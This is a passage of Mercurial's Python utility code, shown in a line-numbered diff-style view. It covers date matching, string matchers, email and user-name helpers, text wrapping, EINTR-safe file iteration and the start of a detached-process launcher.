2074 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2063 return when, offset
2075 return when, offset
2064
2076
2065 def matchdate(date):
2077 def matchdate(date):
2066 """Return a function that matches a given date match specifier
2078 """Return a function that matches a given date match specifier
2067
2079
2068 Formats include:
2080 Formats include:
2069
2081
2070 '{date}' match a given date to the accuracy provided
2082 '{date}' match a given date to the accuracy provided
2071
2083
2072 '<{date}' on or before a given date
2084 '<{date}' on or before a given date
2073
2085
2074 '>{date}' on or after a given date
2086 '>{date}' on or after a given date
2075
2087
2076 >>> p1 = parsedate("10:29:59")
2088 >>> p1 = parsedate("10:29:59")
2077 >>> p2 = parsedate("10:30:00")
2089 >>> p2 = parsedate("10:30:00")
2078 >>> p3 = parsedate("10:30:59")
2090 >>> p3 = parsedate("10:30:59")
2079 >>> p4 = parsedate("10:31:00")
2091 >>> p4 = parsedate("10:31:00")
2080 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2092 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2081 >>> f = matchdate("10:30")
2093 >>> f = matchdate("10:30")
2082 >>> f(p1[0])
2094 >>> f(p1[0])
2083 False
2095 False
2084 >>> f(p2[0])
2096 >>> f(p2[0])
2085 True
2097 True
2086 >>> f(p3[0])
2098 >>> f(p3[0])
2087 True
2099 True
2088 >>> f(p4[0])
2100 >>> f(p4[0])
2089 False
2101 False
2090 >>> f(p5[0])
2102 >>> f(p5[0])
2091 False
2103 False
2092 """
2104 """
2093
2105
2094 def lower(date):
2106 def lower(date):
2095 d = {'mb': "1", 'd': "1"}
2107 d = {'mb': "1", 'd': "1"}
2096 return parsedate(date, extendeddateformats, d)[0]
2108 return parsedate(date, extendeddateformats, d)[0]
2097
2109
2098 def upper(date):
2110 def upper(date):
2099 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2111 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2100 for days in ("31", "30", "29"):
2112 for days in ("31", "30", "29"):
2101 try:
2113 try:
2102 d["d"] = days
2114 d["d"] = days
2103 return parsedate(date, extendeddateformats, d)[0]
2115 return parsedate(date, extendeddateformats, d)[0]
2104 except Abort:
2116 except Abort:
2105 pass
2117 pass
2106 d["d"] = "28"
2118 d["d"] = "28"
2107 return parsedate(date, extendeddateformats, d)[0]
2119 return parsedate(date, extendeddateformats, d)[0]
2108
2120
2109 date = date.strip()
2121 date = date.strip()
2110
2122
2111 if not date:
2123 if not date:
2112 raise Abort(_("dates cannot consist entirely of whitespace"))
2124 raise Abort(_("dates cannot consist entirely of whitespace"))
2113 elif date[0] == "<":
2125 elif date[0] == "<":
2114 if not date[1:]:
2126 if not date[1:]:
2115 raise Abort(_("invalid day spec, use '<DATE'"))
2127 raise Abort(_("invalid day spec, use '<DATE'"))
2116 when = upper(date[1:])
2128 when = upper(date[1:])
2117 return lambda x: x <= when
2129 return lambda x: x <= when
2118 elif date[0] == ">":
2130 elif date[0] == ">":
2119 if not date[1:]:
2131 if not date[1:]:
2120 raise Abort(_("invalid day spec, use '>DATE'"))
2132 raise Abort(_("invalid day spec, use '>DATE'"))
2121 when = lower(date[1:])
2133 when = lower(date[1:])
2122 return lambda x: x >= when
2134 return lambda x: x >= when
2123 elif date[0] == "-":
2135 elif date[0] == "-":
2124 try:
2136 try:
2125 days = int(date[1:])
2137 days = int(date[1:])
2126 except ValueError:
2138 except ValueError:
2127 raise Abort(_("invalid day spec: %s") % date[1:])
2139 raise Abort(_("invalid day spec: %s") % date[1:])
2128 if days < 0:
2140 if days < 0:
2129 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2141 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2130 % date[1:])
2142 % date[1:])
2131 when = makedate()[0] - days * 3600 * 24
2143 when = makedate()[0] - days * 3600 * 24
2132 return lambda x: x >= when
2144 return lambda x: x >= when
2133 elif " to " in date:
2145 elif " to " in date:
2134 a, b = date.split(" to ")
2146 a, b = date.split(" to ")
2135 start, stop = lower(a), upper(b)
2147 start, stop = lower(a), upper(b)
2136 return lambda x: x >= start and x <= stop
2148 return lambda x: x >= start and x <= stop
2137 else:
2149 else:
2138 start, stop = lower(date), upper(date)
2150 start, stop = lower(date), upper(date)
2139 return lambda x: x >= start and x <= stop
2151 return lambda x: x >= start and x <= stop
2140
2152
2141 def stringmatcher(pattern, casesensitive=True):
2153 def stringmatcher(pattern, casesensitive=True):
2142 """
2154 """
2143 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2155 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2144 returns the matcher name, pattern, and matcher function.
2156 returns the matcher name, pattern, and matcher function.
2145 missing or unknown prefixes are treated as literal matches.
2157 missing or unknown prefixes are treated as literal matches.
2146
2158
2147 helper for tests:
2159 helper for tests:
2148 >>> def test(pattern, *tests):
2160 >>> def test(pattern, *tests):
2149 ... kind, pattern, matcher = stringmatcher(pattern)
2161 ... kind, pattern, matcher = stringmatcher(pattern)
2150 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2162 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2151 >>> def itest(pattern, *tests):
2163 >>> def itest(pattern, *tests):
2152 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2164 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2153 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2165 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2154
2166
2155 exact matching (no prefix):
2167 exact matching (no prefix):
2156 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2168 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2157 ('literal', 'abcdefg', [False, False, True])
2169 ('literal', 'abcdefg', [False, False, True])
2158
2170
2159 regex matching ('re:' prefix)
2171 regex matching ('re:' prefix)
2160 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2172 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2161 ('re', 'a.+b', [False, False, True])
2173 ('re', 'a.+b', [False, False, True])
2162
2174
2163 force exact matches ('literal:' prefix)
2175 force exact matches ('literal:' prefix)
2164 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2176 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2165 ('literal', 're:foobar', [False, True])
2177 ('literal', 're:foobar', [False, True])
2166
2178
2167 unknown prefixes are ignored and treated as literals
2179 unknown prefixes are ignored and treated as literals
2168 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2180 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2169 ('literal', 'foo:bar', [False, False, True])
2181 ('literal', 'foo:bar', [False, False, True])
2170
2182
2171 case insensitive regex matches
2183 case insensitive regex matches
2172 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2184 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2173 ('re', 'A.+b', [False, False, True])
2185 ('re', 'A.+b', [False, False, True])
2174
2186
2175 case insensitive literal matches
2187 case insensitive literal matches
2176 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2188 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2177 ('literal', 'ABCDEFG', [False, False, True])
2189 ('literal', 'ABCDEFG', [False, False, True])
2178 """
2190 """
2179 if pattern.startswith('re:'):
2191 if pattern.startswith('re:'):
2180 pattern = pattern[3:]
2192 pattern = pattern[3:]
2181 try:
2193 try:
2182 flags = 0
2194 flags = 0
2183 if not casesensitive:
2195 if not casesensitive:
2184 flags = remod.I
2196 flags = remod.I
2185 regex = remod.compile(pattern, flags)
2197 regex = remod.compile(pattern, flags)
2186 except remod.error as e:
2198 except remod.error as e:
2187 raise error.ParseError(_('invalid regular expression: %s')
2199 raise error.ParseError(_('invalid regular expression: %s')
2188 % e)
2200 % e)
2189 return 're', pattern, regex.search
2201 return 're', pattern, regex.search
2190 elif pattern.startswith('literal:'):
2202 elif pattern.startswith('literal:'):
2191 pattern = pattern[8:]
2203 pattern = pattern[8:]
2192
2204
2193 match = pattern.__eq__
2205 match = pattern.__eq__
2194
2206
2195 if not casesensitive:
2207 if not casesensitive:
2196 ipat = encoding.lower(pattern)
2208 ipat = encoding.lower(pattern)
2197 match = lambda s: ipat == encoding.lower(s)
2209 match = lambda s: ipat == encoding.lower(s)
2198 return 'literal', pattern, match
2210 return 'literal', pattern, match
2199
2211
2200 def shortuser(user):
2212 def shortuser(user):
2201 """Return a short representation of a user name or email address."""
2213 """Return a short representation of a user name or email address."""
2202 f = user.find('@')
2214 f = user.find('@')
2203 if f >= 0:
2215 if f >= 0:
2204 user = user[:f]
2216 user = user[:f]
2205 f = user.find('<')
2217 f = user.find('<')
2206 if f >= 0:
2218 if f >= 0:
2207 user = user[f + 1:]
2219 user = user[f + 1:]
2208 f = user.find(' ')
2220 f = user.find(' ')
2209 if f >= 0:
2221 if f >= 0:
2210 user = user[:f]
2222 user = user[:f]
2211 f = user.find('.')
2223 f = user.find('.')
2212 if f >= 0:
2224 if f >= 0:
2213 user = user[:f]
2225 user = user[:f]
2214 return user
2226 return user
2215
2227
2216 def emailuser(user):
2228 def emailuser(user):
2217 """Return the user portion of an email address."""
2229 """Return the user portion of an email address."""
2218 f = user.find('@')
2230 f = user.find('@')
2219 if f >= 0:
2231 if f >= 0:
2220 user = user[:f]
2232 user = user[:f]
2221 f = user.find('<')
2233 f = user.find('<')
2222 if f >= 0:
2234 if f >= 0:
2223 user = user[f + 1:]
2235 user = user[f + 1:]
2224 return user
2236 return user
2225
2237
2226 def email(author):
2238 def email(author):
2227 '''get email of author.'''
2239 '''get email of author.'''
2228 r = author.find('>')
2240 r = author.find('>')
2229 if r == -1:
2241 if r == -1:
2230 r = None
2242 r = None
2231 return author[author.find('<') + 1:r]
2243 return author[author.find('<') + 1:r]
2232
2244
2233 def ellipsis(text, maxlength=400):
2245 def ellipsis(text, maxlength=400):
2234 """Trim string to at most maxlength (default: 400) columns in display."""
2246 """Trim string to at most maxlength (default: 400) columns in display."""
2235 return encoding.trim(text, maxlength, ellipsis='...')
2247 return encoding.trim(text, maxlength, ellipsis='...')
2236
2248
2237 def unitcountfn(*unittable):
2249 def unitcountfn(*unittable):
2238 '''return a function that renders a readable count of some quantity'''
2250 '''return a function that renders a readable count of some quantity'''
2239
2251
2240 def go(count):
2252 def go(count):
2241 for multiplier, divisor, format in unittable:
2253 for multiplier, divisor, format in unittable:
2242 if abs(count) >= divisor * multiplier:
2254 if abs(count) >= divisor * multiplier:
2243 return format % (count / float(divisor))
2255 return format % (count / float(divisor))
2244 return unittable[-1][2] % count
2256 return unittable[-1][2] % count
2245
2257
2246 return go
2258 return go
2247
2259
2248 def processlinerange(fromline, toline):
2260 def processlinerange(fromline, toline):
2249 """Check that linerange <fromline>:<toline> makes sense and return a
2261 """Check that linerange <fromline>:<toline> makes sense and return a
2250 0-based range.
2262 0-based range.
2251
2263
2252 >>> processlinerange(10, 20)
2264 >>> processlinerange(10, 20)
2253 (9, 20)
2265 (9, 20)
2254 >>> processlinerange(2, 1)
2266 >>> processlinerange(2, 1)
2255 Traceback (most recent call last):
2267 Traceback (most recent call last):
2256 ...
2268 ...
2257 ParseError: line range must be positive
2269 ParseError: line range must be positive
2258 >>> processlinerange(0, 5)
2270 >>> processlinerange(0, 5)
2259 Traceback (most recent call last):
2271 Traceback (most recent call last):
2260 ...
2272 ...
2261 ParseError: fromline must be strictly positive
2273 ParseError: fromline must be strictly positive
2262 """
2274 """
2263 if toline - fromline < 0:
2275 if toline - fromline < 0:
2264 raise error.ParseError(_("line range must be positive"))
2276 raise error.ParseError(_("line range must be positive"))
2265 if fromline < 1:
2277 if fromline < 1:
2266 raise error.ParseError(_("fromline must be strictly positive"))
2278 raise error.ParseError(_("fromline must be strictly positive"))
2267 return fromline - 1, toline
2279 return fromline - 1, toline
2268
2280
2269 bytecount = unitcountfn(
2281 bytecount = unitcountfn(
2270 (100, 1 << 30, _('%.0f GB')),
2282 (100, 1 << 30, _('%.0f GB')),
2271 (10, 1 << 30, _('%.1f GB')),
2283 (10, 1 << 30, _('%.1f GB')),
2272 (1, 1 << 30, _('%.2f GB')),
2284 (1, 1 << 30, _('%.2f GB')),
2273 (100, 1 << 20, _('%.0f MB')),
2285 (100, 1 << 20, _('%.0f MB')),
2274 (10, 1 << 20, _('%.1f MB')),
2286 (10, 1 << 20, _('%.1f MB')),
2275 (1, 1 << 20, _('%.2f MB')),
2287 (1, 1 << 20, _('%.2f MB')),
2276 (100, 1 << 10, _('%.0f KB')),
2288 (100, 1 << 10, _('%.0f KB')),
2277 (10, 1 << 10, _('%.1f KB')),
2289 (10, 1 << 10, _('%.1f KB')),
2278 (1, 1 << 10, _('%.2f KB')),
2290 (1, 1 << 10, _('%.2f KB')),
2279 (1, 1, _('%.0f bytes')),
2291 (1, 1, _('%.0f bytes')),
2280 )
2292 )
2281
2293
2282 # Matches a single EOL which can either be a CRLF where repeated CR
2294 # Matches a single EOL which can either be a CRLF where repeated CR
2283 # are removed or a LF. We do not care about old Macintosh files, so a
2295 # are removed or a LF. We do not care about old Macintosh files, so a
2284 # stray CR is an error.
2296 # stray CR is an error.
2285 _eolre = remod.compile(br'\r*\n')
2297 _eolre = remod.compile(br'\r*\n')
2286
2298
2287 def tolf(s):
2299 def tolf(s):
2288 return _eolre.sub('\n', s)
2300 return _eolre.sub('\n', s)
2289
2301
2290 def tocrlf(s):
2302 def tocrlf(s):
2291 return _eolre.sub('\r\n', s)
2303 return _eolre.sub('\r\n', s)
2292
2304
2293 if pycompat.oslinesep == '\r\n':
2305 if pycompat.oslinesep == '\r\n':
2294 tonativeeol = tocrlf
2306 tonativeeol = tocrlf
2295 fromnativeeol = tolf
2307 fromnativeeol = tolf
2296 else:
2308 else:
2297 tonativeeol = pycompat.identity
2309 tonativeeol = pycompat.identity
2298 fromnativeeol = pycompat.identity
2310 fromnativeeol = pycompat.identity
2299
2311
2300 def escapestr(s):
2312 def escapestr(s):
2301 # call underlying function of s.encode('string_escape') directly for
2313 # call underlying function of s.encode('string_escape') directly for
2302 # Python 3 compatibility
2314 # Python 3 compatibility
2303 return codecs.escape_encode(s)[0]
2315 return codecs.escape_encode(s)[0]
2304
2316
2305 def unescapestr(s):
2317 def unescapestr(s):
2306 return codecs.escape_decode(s)[0]
2318 return codecs.escape_decode(s)[0]
2307
2319
2308 def forcebytestr(obj):
2320 def forcebytestr(obj):
2309 """Portably format an arbitrary object (e.g. exception) into a byte
2321 """Portably format an arbitrary object (e.g. exception) into a byte
2310 string."""
2322 string."""
2311 try:
2323 try:
2312 return pycompat.bytestr(obj)
2324 return pycompat.bytestr(obj)
2313 except UnicodeEncodeError:
2325 except UnicodeEncodeError:
2314 # non-ascii string, may be lossy
2326 # non-ascii string, may be lossy
2315 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2327 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2316
2328
2317 def uirepr(s):
2329 def uirepr(s):
2318 # Avoid double backslash in Windows path repr()
2330 # Avoid double backslash in Windows path repr()
2319 return repr(s).replace('\\\\', '\\')
2331 return repr(s).replace('\\\\', '\\')
2320
2332
2321 # delay import of textwrap
2333 # delay import of textwrap
2322 def MBTextWrapper(**kwargs):
2334 def MBTextWrapper(**kwargs):
2323 class tw(textwrap.TextWrapper):
2335 class tw(textwrap.TextWrapper):
2324 """
2336 """
2325 Extend TextWrapper for width-awareness.
2337 Extend TextWrapper for width-awareness.
2326
2338
2327 Neither number of 'bytes' in any encoding nor 'characters' is
2339 Neither number of 'bytes' in any encoding nor 'characters' is
2328 appropriate to calculate terminal columns for specified string.
2340 appropriate to calculate terminal columns for specified string.
2329
2341
2330 Original TextWrapper implementation uses built-in 'len()' directly,
2342 Original TextWrapper implementation uses built-in 'len()' directly,
2331 so overriding is needed to use width information of each characters.
2343 so overriding is needed to use width information of each characters.
2332
2344
2333 In addition, characters classified into 'ambiguous' width are
2345 In addition, characters classified into 'ambiguous' width are
2334 treated as wide in East Asian area, but as narrow in other.
2346 treated as wide in East Asian area, but as narrow in other.
2335
2347
2336 This requires use decision to determine width of such characters.
2348 This requires use decision to determine width of such characters.
2337 """
2349 """
2338 def _cutdown(self, ucstr, space_left):
2350 def _cutdown(self, ucstr, space_left):
2339 l = 0
2351 l = 0
2340 colwidth = encoding.ucolwidth
2352 colwidth = encoding.ucolwidth
2341 for i in xrange(len(ucstr)):
2353 for i in xrange(len(ucstr)):
2342 l += colwidth(ucstr[i])
2354 l += colwidth(ucstr[i])
2343 if space_left < l:
2355 if space_left < l:
2344 return (ucstr[:i], ucstr[i:])
2356 return (ucstr[:i], ucstr[i:])
2345 return ucstr, ''
2357 return ucstr, ''
2346
2358
2347 # overriding of base class
2359 # overriding of base class
2348 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2360 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2349 space_left = max(width - cur_len, 1)
2361 space_left = max(width - cur_len, 1)
2350
2362
2351 if self.break_long_words:
2363 if self.break_long_words:
2352 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2364 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2353 cur_line.append(cut)
2365 cur_line.append(cut)
2354 reversed_chunks[-1] = res
2366 reversed_chunks[-1] = res
2355 elif not cur_line:
2367 elif not cur_line:
2356 cur_line.append(reversed_chunks.pop())
2368 cur_line.append(reversed_chunks.pop())
2357
2369
2358 # this overriding code is imported from TextWrapper of Python 2.6
2370 # this overriding code is imported from TextWrapper of Python 2.6
2359 # to calculate columns of string by 'encoding.ucolwidth()'
2371 # to calculate columns of string by 'encoding.ucolwidth()'
2360 def _wrap_chunks(self, chunks):
2372 def _wrap_chunks(self, chunks):
2361 colwidth = encoding.ucolwidth
2373 colwidth = encoding.ucolwidth
2362
2374
2363 lines = []
2375 lines = []
2364 if self.width <= 0:
2376 if self.width <= 0:
2365 raise ValueError("invalid width %r (must be > 0)" % self.width)
2377 raise ValueError("invalid width %r (must be > 0)" % self.width)
2366
2378
2367 # Arrange in reverse order so items can be efficiently popped
2379 # Arrange in reverse order so items can be efficiently popped
2368 # from a stack of chucks.
2380 # from a stack of chucks.
2369 chunks.reverse()
2381 chunks.reverse()
2370
2382
2371 while chunks:
2383 while chunks:
2372
2384
2373 # Start the list of chunks that will make up the current line.
2385 # Start the list of chunks that will make up the current line.
2374 # cur_len is just the length of all the chunks in cur_line.
2386 # cur_len is just the length of all the chunks in cur_line.
2375 cur_line = []
2387 cur_line = []
2376 cur_len = 0
2388 cur_len = 0
2377
2389
2378 # Figure out which static string will prefix this line.
2390 # Figure out which static string will prefix this line.
2379 if lines:
2391 if lines:
2380 indent = self.subsequent_indent
2392 indent = self.subsequent_indent
2381 else:
2393 else:
2382 indent = self.initial_indent
2394 indent = self.initial_indent
2383
2395
2384 # Maximum width for this line.
2396 # Maximum width for this line.
2385 width = self.width - len(indent)
2397 width = self.width - len(indent)
2386
2398
2387 # First chunk on line is whitespace -- drop it, unless this
2399 # First chunk on line is whitespace -- drop it, unless this
2388 # is the very beginning of the text (i.e. no lines started yet).
2400 # is the very beginning of the text (i.e. no lines started yet).
2389 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2401 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2390 del chunks[-1]
2402 del chunks[-1]
2391
2403
2392 while chunks:
2404 while chunks:
2393 l = colwidth(chunks[-1])
2405 l = colwidth(chunks[-1])
2394
2406
2395 # Can at least squeeze this chunk onto the current line.
2407 # Can at least squeeze this chunk onto the current line.
2396 if cur_len + l <= width:
2408 if cur_len + l <= width:
2397 cur_line.append(chunks.pop())
2409 cur_line.append(chunks.pop())
2398 cur_len += l
2410 cur_len += l
2399
2411
2400 # Nope, this line is full.
2412 # Nope, this line is full.
2401 else:
2413 else:
2402 break
2414 break
2403
2415
2404 # The current line is full, and the next chunk is too big to
2416 # The current line is full, and the next chunk is too big to
2405 # fit on *any* line (not just this one).
2417 # fit on *any* line (not just this one).
2406 if chunks and colwidth(chunks[-1]) > width:
2418 if chunks and colwidth(chunks[-1]) > width:
2407 self._handle_long_word(chunks, cur_line, cur_len, width)
2419 self._handle_long_word(chunks, cur_line, cur_len, width)
2408
2420
2409 # If the last chunk on this line is all whitespace, drop it.
2421 # If the last chunk on this line is all whitespace, drop it.
2410 if (self.drop_whitespace and
2422 if (self.drop_whitespace and
2411 cur_line and cur_line[-1].strip() == r''):
2423 cur_line and cur_line[-1].strip() == r''):
2412 del cur_line[-1]
2424 del cur_line[-1]
2413
2425
2414 # Convert current line back to a string and store it in list
2426 # Convert current line back to a string and store it in list
2415 # of all lines (return value).
2427 # of all lines (return value).
2416 if cur_line:
2428 if cur_line:
2417 lines.append(indent + r''.join(cur_line))
2429 lines.append(indent + r''.join(cur_line))
2418
2430
2419 return lines
2431 return lines
2420
2432
2421 global MBTextWrapper
2433 global MBTextWrapper
2422 MBTextWrapper = tw
2434 MBTextWrapper = tw
2423 return tw(**kwargs)
2435 return tw(**kwargs)
2424
2436
2425 def wrap(line, width, initindent='', hangindent=''):
2437 def wrap(line, width, initindent='', hangindent=''):
2426 maxindent = max(len(hangindent), len(initindent))
2438 maxindent = max(len(hangindent), len(initindent))
2427 if width <= maxindent:
2439 if width <= maxindent:
2428 # adjust for weird terminal size
2440 # adjust for weird terminal size
2429 width = max(78, maxindent + 1)
2441 width = max(78, maxindent + 1)
2430 line = line.decode(pycompat.sysstr(encoding.encoding),
2442 line = line.decode(pycompat.sysstr(encoding.encoding),
2431 pycompat.sysstr(encoding.encodingmode))
2443 pycompat.sysstr(encoding.encodingmode))
2432 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2444 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2433 pycompat.sysstr(encoding.encodingmode))
2445 pycompat.sysstr(encoding.encodingmode))
2434 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2446 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2435 pycompat.sysstr(encoding.encodingmode))
2447 pycompat.sysstr(encoding.encodingmode))
2436 wrapper = MBTextWrapper(width=width,
2448 wrapper = MBTextWrapper(width=width,
2437 initial_indent=initindent,
2449 initial_indent=initindent,
2438 subsequent_indent=hangindent)
2450 subsequent_indent=hangindent)
2439 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2451 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2440
2452
2441 if (pyplatform.python_implementation() == 'CPython' and
2453 if (pyplatform.python_implementation() == 'CPython' and
2442 sys.version_info < (3, 0)):
2454 sys.version_info < (3, 0)):
2443 # There is an issue in CPython that some IO methods do not handle EINTR
2455 # There is an issue in CPython that some IO methods do not handle EINTR
2444 # correctly. The following table shows what CPython version (and functions)
2456 # correctly. The following table shows what CPython version (and functions)
2445 # are affected (buggy: has the EINTR bug, okay: otherwise):
2457 # are affected (buggy: has the EINTR bug, okay: otherwise):
2446 #
2458 #
2447 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2459 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2448 # --------------------------------------------------
2460 # --------------------------------------------------
2449 # fp.__iter__ | buggy | buggy | okay
2461 # fp.__iter__ | buggy | buggy | okay
2450 # fp.read* | buggy | okay [1] | okay
2462 # fp.read* | buggy | okay [1] | okay
2451 #
2463 #
2452 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2464 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2453 #
2465 #
2454 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2466 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2455 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2467 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2456 #
2468 #
2457 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2469 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2458 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2470 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2459 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2471 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2460 # fp.__iter__ but not other fp.read* methods.
2472 # fp.__iter__ but not other fp.read* methods.
2461 #
2473 #
2462 # On modern systems like Linux, the "read" syscall cannot be interrupted
2474 # On modern systems like Linux, the "read" syscall cannot be interrupted
2463 # when reading "fast" files like on-disk files. So the EINTR issue only
2475 # when reading "fast" files like on-disk files. So the EINTR issue only
2464 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2476 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2465 # files approximately as "fast" files and use the fast (unsafe) code path,
2477 # files approximately as "fast" files and use the fast (unsafe) code path,
2466 # to minimize the performance impact.
2478 # to minimize the performance impact.
2467 if sys.version_info >= (2, 7, 4):
2479 if sys.version_info >= (2, 7, 4):
2468 # fp.readline deals with EINTR correctly, use it as a workaround.
2480 # fp.readline deals with EINTR correctly, use it as a workaround.
2469 def _safeiterfile(fp):
2481 def _safeiterfile(fp):
2470 return iter(fp.readline, '')
2482 return iter(fp.readline, '')
2471 else:
2483 else:
2472 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2484 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2473 # note: this may block longer than necessary because of bufsize.
2485 # note: this may block longer than necessary because of bufsize.
2474 def _safeiterfile(fp, bufsize=4096):
2486 def _safeiterfile(fp, bufsize=4096):
2475 fd = fp.fileno()
2487 fd = fp.fileno()
2476 line = ''
2488 line = ''
2477 while True:
2489 while True:
2478 try:
2490 try:
2479 buf = os.read(fd, bufsize)
2491 buf = os.read(fd, bufsize)
2480 except OSError as ex:
2492 except OSError as ex:
2481 # os.read only raises EINTR before any data is read
2493 # os.read only raises EINTR before any data is read
2482 if ex.errno == errno.EINTR:
2494 if ex.errno == errno.EINTR:
2483 continue
2495 continue
2484 else:
2496 else:
2485 raise
2497 raise
2486 line += buf
2498 line += buf
2487 if '\n' in buf:
2499 if '\n' in buf:
2488 splitted = line.splitlines(True)
2500 splitted = line.splitlines(True)
2489 line = ''
2501 line = ''
2490 for l in splitted:
2502 for l in splitted:
2491 if l[-1] == '\n':
2503 if l[-1] == '\n':
2492 yield l
2504 yield l
2493 else:
2505 else:
2494 line = l
2506 line = l
2495 if not buf:
2507 if not buf:
2496 break
2508 break
2497 if line:
2509 if line:
2498 yield line
2510 yield line
2499
2511
2500 def iterfile(fp):
2512 def iterfile(fp):
2501 fastpath = True
2513 fastpath = True
2502 if type(fp) is file:
2514 if type(fp) is file:
2503 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2515 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2504 if fastpath:
2516 if fastpath:
2505 return fp
2517 return fp
2506 else:
2518 else:
2507 return _safeiterfile(fp)
2519 return _safeiterfile(fp)
2508 else:
2520 else:
2509 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2521 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2510 def iterfile(fp):
2522 def iterfile(fp):
2511 return fp
2523 return fp
2512
2524
2513 def iterlines(iterator):
2525 def iterlines(iterator):
2514 for chunk in iterator:
2526 for chunk in iterator:
2515 for line in chunk.splitlines():
2527 for line in chunk.splitlines():
2516 yield line
2528 yield line
2517
2529
2518 def expandpath(path):
2530 def expandpath(path):
2519 return os.path.expanduser(os.path.expandvars(path))
2531 return os.path.expanduser(os.path.expandvars(path))
2520
2532
2521 def hgcmd():
2533 def hgcmd():
2522 """Return the command used to execute current hg
2534 """Return the command used to execute current hg
2523
2535
2524 This is different from hgexecutable() because on Windows we want
2536 This is different from hgexecutable() because on Windows we want
2525 to avoid things opening new shell windows like batch files, so we
2537 to avoid things opening new shell windows like batch files, so we
2526 get either the python call or current executable.
2538 get either the python call or current executable.
2527 """
2539 """
2528 if mainfrozen():
2540 if mainfrozen():
2529 if getattr(sys, 'frozen', None) == 'macosx_app':
2541 if getattr(sys, 'frozen', None) == 'macosx_app':
2530 # Env variable set by py2app
2542 # Env variable set by py2app
2531 return [encoding.environ['EXECUTABLEPATH']]
2543 return [encoding.environ['EXECUTABLEPATH']]
2532 else:
2544 else:
2533 return [pycompat.sysexecutable]
2545 return [pycompat.sysexecutable]
2534 return gethgcmd()
2546 return gethgcmd()
2535
2547
2536 def rundetached(args, condfn):
2548 def rundetached(args, condfn):
2537 """Execute the argument list in a detached process.
2549 """Execute the argument list in a detached process.
2538
2550
2539 condfn is a callable which is called repeatedly and should return
2551 condfn is a callable which is called repeatedly and should return
2540 True once the child process is known to have started successfully.
2552 True once the child process is known to have started successfully.
2541 At this point, the child process PID is returned. If the child
2553 At this point, the child process PID is returned. If the child
2542 process fails to start or finishes before condfn() evaluates to
2554 process fails to start or finishes before condfn() evaluates to
2543 True, return -1.
2555 True, return -1.
2544 """
2556 """
2545 # Windows case is easier because the child process is either
2557 # Windows case is easier because the child process is either
2546 # successfully starting and validating the condition or exiting
2558 # successfully starting and validating the condition or exiting
2547 # on failure. We just poll on its PID. On Unix, if the child
2559 # on failure. We just poll on its PID. On Unix, if the child
2548 # process fails to start, it will be left in a zombie state until
2560 # process fails to start, it will be left in a zombie state until
2549 # the parent wait on it, which we cannot do since we expect a long
2561 # the parent wait on it, which we cannot do since we expect a long
2550 # running process on success. Instead we listen for SIGCHLD telling
2562 # running process on success. Instead we listen for SIGCHLD telling
2551 # us our child process terminated.
2563 # us our child process terminated.
2552 terminated = set()
2564 terminated = set()
2553 def handler(signum, frame):
2565 def handler(signum, frame):
2554 terminated.add(os.wait())
2566 terminated.add(os.wait())
